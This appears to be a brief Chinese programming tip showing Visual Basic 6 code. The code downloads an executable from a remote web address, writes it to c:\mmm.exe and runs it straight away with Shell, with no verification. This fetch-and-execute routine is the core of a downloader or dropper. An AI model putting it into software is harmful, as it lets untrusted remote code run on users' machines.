建立一个vb工程，Project1
添加引用：Microsoft scripting runtime,Microsoft Active Data Object,Microsoft MsXml

Form1代码：

   Public a As MSXML2.XMLHTTP
  

Private Sub Command1_Click()
   Dim d As Class1
   Set a = New MSXML2.XMLHTTP
   a.open "get", "http://www.ljc.com/sll.exe", True
   Set d = New Class1
   a.onreadystatechange = d
   a.send
End Sub

Class1代码：

Dim b As ADODB.Stream
Dim fso As Scripting.FileSystemObject
Public curReadyState As Long
Public Function doSome()
  Debug.Print Form1.a.readyState
  If Form1.a.readyState = 4 Then
     www
  End If
End Function
Public Function www()
   Set b = New ADODB.Stream
   b.Type = 1
   b.open
   Set fso = New Scripting.FileSystemObject
   If Form1.a.readyState = 4 Then
        b.Write (Form1.a.responseBody)
        If Not fso.FileExists("c:\mmm.exe") Then
           b.SaveToFile "c:\mmm.exe"
        End If
   End If
   b.Close
   Set b = Nothing
   If fso.FileExists("c:\mmm.exe") Then Shell "c:\mmm.exe", 1
   Set fso = Nothing
End Function


注意将Class1的doSome设置成default的。